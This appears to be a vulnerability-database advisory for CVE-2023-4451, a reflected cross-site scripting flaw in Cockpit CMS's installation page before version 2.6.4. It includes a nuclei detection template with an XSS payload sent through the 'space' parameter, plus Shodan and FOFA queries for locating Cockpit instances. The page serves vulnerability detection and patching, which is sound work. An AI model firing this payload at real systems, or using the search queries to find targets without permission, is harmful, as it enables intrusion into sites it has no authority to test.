CVE-2023-4451· agentejo / cockpit· CWE-79
Cockpit - Cross-Site Scripting
mediumseverity
6.1CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it
Cross-site Scripting (XSS) - Reflected in GitHub repository cockpit-hq/cockpit prior to 2.6.4.
Impact
Unauthenticated attackers can inject malicious JavaScript through the space parameter in the installation interface to steal administrator credentials during Cockpit CMS setup.
Fix
Update Cockpit to version 2.6.4 or later that properly sanitizes and encodes the space parameter in the install/index.php interface.
How to confirm it
Send: GET {{BaseURL}}/install/index.php?1692443074&space=%3Cimg%20src=1%20onerror=alert(document.domain)%3E
Positive when: contains "Space :<img src=1 onerror=alert(document.domain)>: does not…" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-4451 -u <target>
The full check
id: CVE-2023-4451
info:
name: Cockpit - Cross-Site Scripting
author: iamnoooob,pdresearch
severity: medium
description: |
Cross-site Scripting (XSS) - Reflected in GitHub repository cockpit-hq/cockpit prior to 2.6.4.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the space parameter in the installation interface to steal administrator credentials during Cockpit CMS setup.
remediation: |
Update Cockpit to version 2.6.4 or later that properly sanitizes and encodes the space parameter in the install/index.php interface.
reference:
- https://huntr.dev/bounties/4e111c3e-6cf3-4b4c-b3c1-a540bf30f8fa/
- https://github.com/Cockpit-HQ/Cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c
- https://nvd.nist.gov/vuln/detail/CVE-2023-4451
- https://github.com/cockpit-hq/cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-4451
cwe-id: CWE-79
epss-score: 0.02478
epss-percentile: 0.84701
cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: agentejo
product: cockpit
shodan-query:
- html:"Cockpit"
- http.favicon.hash:688609340
- http.html:"cockpit"
fofa-query:
- icon_hash=688609340
- body="cockpit"
tags: cve2023,cve,huntr,cockpit,xss,agentejo,vuln
http:
- method: GET
path:
- "{{BaseURL}}/install/index.php?1692443074&space=%3Cimg%20src=1%20onerror=alert(document.domain)%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Space :<img src=1 onerror=alert(document.domain)>: does not exist"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://huntr.dev/bounties/4e111c3e-6cf3-4b4c-b3c1-a540bf30f8fa/
- https://github.com/Cockpit-HQ/Cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c
- https://nvd.nist.gov/vuln/detail/CVE-2023-4451
- https://github.com/cockpit-hq/cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c
- https://github.com/fkie-cad/nvd-json-data-feeds
Use this check only on systems you are authorised to test. Where the data comes from